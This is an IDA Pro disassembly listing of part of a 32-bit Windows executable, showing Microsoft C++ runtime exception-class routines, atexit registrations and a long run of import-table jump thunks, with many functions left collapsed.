; [000002E0 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO	EXPAND]
; [0000007C BYTES: COLLAPSED FUNCTION _findenv.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000EE BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000ED BYTES: COLLAPSED FUNCTION __mbschr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A6C0	proc near		; CODE XREF: sub_40DD68+15p
					; sub_40DDFC+15p ...

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43A6C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp+var_38]
		call	sub_40DD15
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_43A870
		push	offset dword_43E460
		lea	edx, [ebp+var_28]
		push	edx
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43A6C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A720	proc near		; CODE XREF: sub_43A7B0+10p
					; sub_43A990+Ep ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43A720
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		call	??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &)
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Ch
		push	ecx
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_40DCEB
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], offset	off_43E110
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A720	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000016 BYTES: COLLAPSED FUNCTION sub_43A790. PRESS	KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A7B0	proc near		; DATA XREF: .rdata:0043E118o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_43A720
		push	offset dword_43E4D0
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		mov	esp, ebp
		pop	ebp
		retn
sub_43A7B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A7E0	proc near		; CODE XREF: sub_43A840+Ap
					; sub_43A910+13p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43A7E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], offset	off_43E110
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_40DD38
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		call	??1exception@@UAE@XZ ; exception::~exception(void)
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43A7E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A840	proc near		; DATA XREF: .rdata:off_43E110o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43A7E0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43A865
		mov	ecx, [ebp+var_4]
		push	ecx		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		add	esp, 4

loc_43A865:				; CODE XREF: sub_43A840+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A870	proc near		; CODE XREF: sub_43A6C0+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43A8A0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43E120
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A8A0	proc near		; CODE XREF: sub_43A870+Ep
					; sub_43AA20+Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43A8A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		mov	[ebp+var_14], ecx
		mov	[ebp+var_10], offset dword_43CF7C
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_14]
		call	??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &)
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, 0Ch
		call	sub_40DCEB
		mov	edx, [ebp+var_14]
		mov	dword ptr [edx], offset	off_43E110
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A8A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A910	proc near		; CODE XREF: sub_43A960+Ap
					; DATA XREF: .rdata:0043E464o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_43E120
		mov	ecx, [ebp+var_4]
		call	sub_43A7E0
		mov	esp, ebp
		pop	ebp
		retn
sub_43A910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A930	proc near		; DATA XREF: .rdata:0043E128o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_43A990
		push	offset dword_43E460
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		mov	esp, ebp
		pop	ebp
		retn
sub_43A930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A960	proc near		; DATA XREF: .rdata:off_43E120o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43A910
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43A985
		mov	ecx, [ebp+var_4]
		push	ecx		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		add	esp, 4

loc_43A985:				; CODE XREF: sub_43A960+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A960	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A990	proc near		; CODE XREF: sub_43A930+10p
					; DATA XREF: .rdata:0043E448o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43A720
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43E120
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A9C0	proc near		; CODE XREF: sub_40DE66+17p
					; sub_40E0E5+Ep

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43A9C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp+var_38]
		call	sub_40DD15
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_43AA20
		push	offset dword_43E560
		lea	edx, [ebp+var_28]
		push	edx
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43A9C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AA20	proc near		; CODE XREF: sub_43A9C0+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43A8A0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43E148
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43AA20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AA50	proc near		; CODE XREF: sub_43AAA0+Ap
					; DATA XREF: .rdata:0043E564o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_43E148
		mov	ecx, [ebp+var_4]
		call	sub_43A7E0
		mov	esp, ebp
		pop	ebp
		retn
sub_43AA50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AA70	proc near		; DATA XREF: .rdata:0043E150o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_43AAD0
		push	offset dword_43E560
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		mov	esp, ebp
		pop	ebp
		retn
sub_43AA70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AAA0	proc near		; DATA XREF: .rdata:off_43E148o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43AA50
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43AAC5
		mov	ecx, [ebp+var_4]
		push	ecx		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		add	esp, 4

loc_43AAC5:				; CODE XREF: sub_43AAA0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43AAA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AAD0	proc near		; CODE XREF: sub_43AA70+10p
					; DATA XREF: .rdata:0043E548o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43A720
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43E148
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43AAD0	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000019 BYTES: COLLAPSED FUNCTION unknown_libname_35. PRESS	KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AB20	proc near		; CODE XREF: unknown_libname_35+8p
		push	ebp
		mov	ebp, esp
		push	offset nullsub_1 ; void	(__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_43AB20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AB40	proc near		; CODE XREF: unknown_libname_35+Dp
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	al, byte_4F4C3C
		and	eax, 1
		test	eax, eax
		jnz	short loc_43AB60
		mov	cl, byte_4F4C3C
		or	cl, 1
		mov	byte_4F4C3C, cl

loc_43AB60:				; CODE XREF: sub_43AB40+Fj
		pop	ebp
		retn
sub_43AB40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AB70	proc near		; CODE XREF: unknown_libname_35+12p
		push	ebp
		mov	ebp, esp
		push	offset __initp_misc_winxfltr_0 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_43AB70	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr_0. PRESS KEYPAD "+"	TO EXPAND]
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43AB96	proc near		; CODE XREF: sub_40E3C7+6Fp
		jmp	ds:dword_4F54F4
sub_43AB96	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4F554C

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43ABA2	proc near		; CODE XREF: sub_40D69B+5Ep
					; sub_40F402+14Ap ...
		jmp	ds:dword_4F5548
sub_43ABA2	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5544
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5540
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F553C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5538
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5534
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5530
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F552C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5528
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5550
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5520
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F551C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5518
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5514
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5510
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F550C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5508
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5504
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5500
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54FC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5524
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5338
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F533C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5340
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5344
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5348
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F534C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5350
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5354
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5358
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F535C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5360
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5364
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5368
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F536C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5370
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5374
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5378
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F537C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5380
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5384
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5388
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F538C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5390
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5394
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5398
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F539C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53A0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53A4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53A8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53AC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53B0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53B4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53B8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53BC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53C0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53C4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53C8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53CC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53D0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53D4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53D8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53DC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53E0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53E4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53E8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53EC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53F0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53F4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53F8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F53FC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5400
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5404
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5408
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F540C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5410
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F52D4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5414
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5418
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F541C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5420
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5424
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5428
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F542C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5430
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5434
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5438
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F543C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5440
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5444
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5448
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F544C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5450
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5454
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5458
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F545C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5460
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5464
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5468
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F546C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5470
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5474

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43AE06	proc near		; CODE XREF: _UnwindNestedFrames(EHRegistrationNode *,EHExceptionRecord	*)+27p
					; __global_unwind2+13p
		jmp	ds:dword_4F5478
sub_43AE06	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4F547C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5480
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5484
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5488
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F548C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5490
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5494
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5498
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F549C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54A0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54A4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54A8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54AC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54B0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54B4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54B8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54BC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54C0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54C4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54C8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54CC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54D0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54D4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54D8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54DC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54E0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54E4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54E8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F54EC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5334
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5330
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F532C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5328
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5324
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5320
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F531C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5318
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5314
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5310
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F530C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5308
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5304
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F5300
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F52FC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F52F8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F52F4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F52F0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F52EC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F52E8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F52E4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F52E0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F52DC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F52D8
; ---------------------------------------------------------------------------
		align 10h
; [000001A1 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000047 BYTES: COLLAPSED FUNCTION __strdup.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	dword ptr [eax], offset	off_43E158
		mov	ecx, [ebp-4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp-4]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [0000002E BYTES: COLLAPSED FUNCTION exception::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000069 BYTES: COLLAPSED FUNCTION exception::exception(char	const *	const &). PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000084 BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000002C BYTES: COLLAPSED FUNCTION exception::operator=(exception const &). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION exception::~exception(void). PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000021 BYTES: COLLAPSED FUNCTION exception::what(void). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000040 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD	"+" TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000028 BYTES: COLLAPSED FUNCTION type_info::operator==(type_info const &).	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000029 BYTES: COLLAPSED FUNCTION type_info::operator!=(type_info const &).	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002C BYTES: COLLAPSED FUNCTION type_info::before(type_info const	&). PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000011 BYTES: COLLAPSED FUNCTION type_info::raw_name(void). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000019 BYTES: COLLAPSED FUNCTION type_info::type_info(type_info const &). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000010 BYTES: COLLAPSED FUNCTION std::_Init_locks::operator=(std::_Init_locks const &). PRESS KEYPAD "+" TO EXPAND]
; [00000041 BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000C5 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000B4 BYTES: COLLAPSED FUNCTION sub_43B5C0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000002E7 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000056 BYTES: COLLAPSED FUNCTION _wcsncnt.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000077 BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000017 BYTES: COLLAPSED FUNCTION _is_wctype. PRESS	KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43BA70	proc near		; DATA XREF: .rdata:0043E364o
		lea	ecx, [ebp-38h]
		jmp	sub_40DD38
sub_43BA70	endp


; =============== S U B	R O U T	I N E =======================================



sub_43BA78	proc near		; DATA XREF: .rdata:0043E35Co
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_43BA8E
		mov	ecx, [ebp+8]
		jmp	sub_40DD38
